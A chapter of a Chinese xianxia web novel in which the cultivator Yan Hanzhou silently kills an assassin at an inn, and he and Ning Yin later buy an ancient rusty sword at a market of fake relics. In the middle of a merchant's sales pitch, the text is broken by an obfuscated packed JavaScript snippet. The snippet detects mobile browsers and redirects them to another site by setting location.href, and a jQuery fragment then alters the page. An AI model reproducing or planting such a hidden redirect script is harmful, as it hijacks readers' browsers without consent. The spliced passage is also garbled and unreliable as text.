宴寒舟双指搭在她命门,一缕神识探入其体内,细细游走一周天,确认那破损的经脉识海已被强行凝聚,紊乱的气息趋于平稳,伤势已无大碍,这才收手,将宁音抱上床,掖好薄衾后,随即在榻边盘膝打坐,强大神识如蜘网般悄然蔓延至整个客栈内外。 不知过了多久,宴寒舟睁开双眼。 敲门声响起。 他看了眼睡得正酣的宁音,起身开门。 门外站着一客栈伙计,手中端着盘可口的饭菜,深深弯着腰弓着背不敢抬头,低声道:“仙……仙师,这是掌柜的命我送来的宵夜,说是……说是给您赔礼道歉。” 说着就将饭菜递了过来。 下一瞬,右手便被一个难以挣脱的力道钳制,剧痛从手腕处传来,藏于袖中的刀刃从袖口掉出,但被宴寒舟眼疾手快接住,不曾发出一丝声响。 “嘘!”宴寒舟朝他比了个噤声的手势。 伙计的惨叫声还未来得及叫出声,便被宴寒舟一掌击碎了喉骨,了无生息倒下。 回头看了眼床上还在熟睡的宁音,宴寒舟将房门阖上。 夜色如墨,白日喧嚣的小镇,一片死寂,只偶尔从远处传来一两声短促而凄清的叫声,划破寂静,旋即又被更深的沉默吞没。 这一晚,宁音睡得异常的沉。 翌日一早,云霞漫天。 经过宴寒舟昨晚的疗伤,宁音体内伤势大好,脸色较之昨日好看许多,行走坐卧毫无滞碍,这才惊讶发现,那么严重的伤势,一晚竟然全恢复好了。 不仅如此,就连右臂上被虞令仪划破的剑伤痕迹也消失得无影无踪,看不出一丝痕迹。 宁音满血复活,正准备下楼,恰逢宴寒舟从外走进。 “宴寒舟你看,我彻底好了,我感觉我现在能一个打十个!我们什么时候进山?” 宴寒舟上下打量着活蹦乱跳的宁音,“看来是全好了,进山之事暂且不急,最近九嶷山瘴气又生,等瘴气散去后再进山也不迟。” 宁音眉心微皱,“那什么时候才能进山?” “兴许两日三日,就是五日也说不准。” “这么久啊……”宁音倏然想到了什么,眼前一亮,“正好,这几日我们可以在栖霞镇上逛逛,在凌云宗憋了那么久差点没把我憋坏,我还要吃饭,我要吃鸡鸭鱼肉,我要把这店里所有的菜都吃上一遍!” 虽然作为修行者,自筑基之后便可以不用再以食果腹,但进食是一种欲望。 这一个多月以来,没有尝到过一丝丝酸甜苦辣的宁音,每每想到炸鸡可乐小龙虾,就馋得直咽口水,当即飞奔下楼,让掌柜的把客栈好吃的都上一遍,丝毫没注意到客栈掌柜以及伙计们看向她和宴寒舟时忌惮而又闪躲的目光。 掌柜的不敢耽搁,立刻吩咐厨房给宁音上了一大桌饭菜。 宁音大快朵颐,抬头瞧见宴寒舟不动碗筷,“你不吃吗?” 宴寒舟扫过满桌的美味佳肴,“我对这些不感兴趣。” 食色,性也。 人生就离不开这两件大事,可在这修仙的世界里,修炼的最高境界便是饮食、男女皆可抛,主打一个无欲无求,造福苍生。 有时候看到宴寒舟身上那股淡漠的劲,宁音猜测他或许早已达到修炼的最高境界,与我等凡人不同。 酒足饭饱,掌柜殷勤上了壶茶水,笑道:“最近九嶷山又生了瘴气,不宜进山,两位仙师闲着也是闲着,不如出去逛逛?这条街尽头右转有个集市,那里卖什么的都有,可热闹了。” 宁音餍足看向客栈外人来人往的街道,忽然目光被客栈大门吸引,对掌柜说道:“掌柜的,昨天在你店里打架,把你店的大门都弄坏了,一块上品灵石够不够赔偿?” 说着便从沧溟戒中拿出一颗上品灵石。 宁音本意是未来还需在客栈住个几天,能和掌柜的缓和缓和再好不过,更何况大门是他们弄坏的,照价赔偿,理所应当。 可掌柜神色慌张犹如见了鬼般偷瞄了宴寒舟一眼,连忙笑道:“不不不,不用,一张破门,如何值得上一块上品灵石,仙师不必客气,昨日之事我亦有错,赔偿一事便不要再提了。” 宴寒舟已然起身,“走吧。” 见掌柜坚持不收,宁音也不再强求,收起灵石便往外走。 眼看宴寒舟与宁音离开客栈,掌柜这才松了口气。 客栈掌柜说得没错,客栈前这条道尽头右转有个集市,来来往往皆是九州各地汇聚于此的修士,街道两侧摆满了摊位,讲究一些的架了个桌子,将就一些的直接一块黑布席地而坐,叫卖声砍价声争执声不绝于耳。 “姑娘看看我前几日刚在九嶷山寻到的宝贝,凌霄仙尊的保命玉符,有此玉符,即使是大乘期强者也拿你无可奈何。” “姑娘!姑娘看看这支金钗,你可别小瞧这金钗,这可是玄阶法宝,九州仅此一件,若你喜欢,我吃点亏,五十上品灵石拿走!” “道友,看看我这颗定魂珠,神识不稳你每日戴着它一个时辰,连续百日后必能稳固神识,修为再进一层!当年凌霄仙尊可是戴着此珠才能早早突破大乘历劫飞升。” “姑娘,霓裳羽衣喜欢吗?这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16065690|177679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可是千年前凌霄仙尊为其未婚妻量身打造,水火不侵,只需一百个上品灵石!” 一路走过集市摊位,宁音算是看明白了,每一个摊位都以凌霄仙尊为招牌,大吹大擂,也不管手中法宝究竟来自何处,有何用处,反正凌霄仙尊已历劫飞升不在九州中,还能当面对质不成? 她望向一旁的宴寒舟,低声道:“这个集市上卖的有漏网之鱼吗?” 宴寒舟摇头。 “也是,若真在九嶷山找着什么法宝,自己留着用都来不及,哪里还能摆摊卖了。” 原以为能捡到一两件沧海遗珠,一路走来,没想到整个集市全是滥竽充数坑蒙拐骗之辈,一件好物也无,两人正准备离开,角落摊位里,一柄锈迹斑斑宛如一把废铁的长剑吸引宴寒舟目光,他走过去,伸手握在手中打量。 摊主久未开张,一见两个冤大头站在自己摊位前对一把废剑爱不释手。 宁音脑袋凑了过来,仔细观察着这柄生锈的剑。 “哟,是你们二位。” 宁音疑惑道:“你认识我们?” “天机城段家的人你们说废就废了,栖霞镇现在有谁不认识你二人的?”摊主轻笑一声,目光落在宁音手指沧溟戒上,“姑娘,你手上的戒指可要藏着点,昨晚上一波又一波的人,很麻烦吧?” “昨天晚上?没有啊。” 摊主并不多言,饶有深意看了宁音一眼,压低了声音介绍他那把生锈的宝剑,“道友好眼光,一眼就瞧中了我这最有价值的宝物,我跟你们说,这把剑来历不凡,你别看它通体生锈还拔不出来,但它可是我从九嶷山上寻到的天阶法宝!” 宁音很识趣捧场,“天阶法宝?哇哦~” “若是普通的天阶法宝也就罢了,知道这剑曾经是谁的本命剑吗?” 宁音附和道:“是谁的呢?好难猜啊。” 摊主左顾右盼,神秘莫测:“凌霄仙尊知道吗?凌霄仙尊生前独来独往,陪伴他的唯有这把剑,这便是千年前凌霄仙尊的本命剑!” 宁音很想朝他翻个白眼,但她忍住了,不失礼貌地惊讶道:“凌霄仙尊的本命剑?被你找到了?你运气这么好?这剑这么厉害你竟然要把它给卖了?” “我这不是想给这剑找个有缘人吗?” “你不会还想让这个‘有元人’出一百个上品灵石吧?” “……”摊主一时哽住,伸出五指,“五十,五十个上品灵石行了吧!” 宁音微微一笑,下一秒,笑容猛地落下,“不行!一把生锈了的剑你还要五十灵石,你当我冤大头呢?这把剑这么好,你自己留着吧!” 说着就要走,却见宴寒舟如脚下生根了般站在摊位前轻拭着长剑上斑驳的痕迹,像对待一位多年未见的老朋友。 见此情形,宁音如何不明白。 “别走别走!这样吧,我看这位道友倒是对这把凌霄仙尊的本命剑爱不释手,如此,今日相遇便是缘,交个朋友,一口价,二十块上品灵石。” “好贵呢要二十块。”宁音一脸为难的表情,嘴上絮絮叨叨,犹犹豫豫,似是纠结许久才决定下来,“行吧,二十就二十。” “我跟你说,我要不是因为我夫君手上没个趁手的兵器,我才不买呢,二十块上品灵石你赚大了。” 说完,眼疾手快从沧溟戒里拿出二十块上品灵石放摊位上,拽着宴寒舟就走,“走走走!快走快走!” 摊主看着摊位上堆成小山的二十块灵石,又看着两人离开的背影,再想想那一年多不曾卖出去的生锈的长剑,心底的喜悦还未涌上心头,一股巨大的懊悔和恐慌瞬间蔓延,他高声道:“等等!” “等等等等!” 他追了上去,看着宁音与宴寒舟二人,又看向宴寒舟手中的剑,“等等!不对劲!这很不对劲!” “你不是说我们是有缘人吗?一手交钱一手交货,你开价二十颗灵石,我给了,这把剑就是我们的了,钱货两讫,哪里不对劲?” 直觉告诉他很不对劲。 摊主指着宴寒舟手里的剑,“这把剑,二十颗上品灵石?你们要了?” “灵石都给了,你难道想反悔?” 摊主再次确认:“二十颗?” “我有的是灵石。” 摊主反复确认:“二十颗!” “所以呢?” “不行,我不卖了!”摊主作势就要抢回去。 宴寒舟拭剑的手一顿,噌一声,沉寂千年的古剑出鞘,黯淡的剑锋倒映出他眼底毫不掩饰的凛冽杀意,“你不卖了?” “再说一遍。”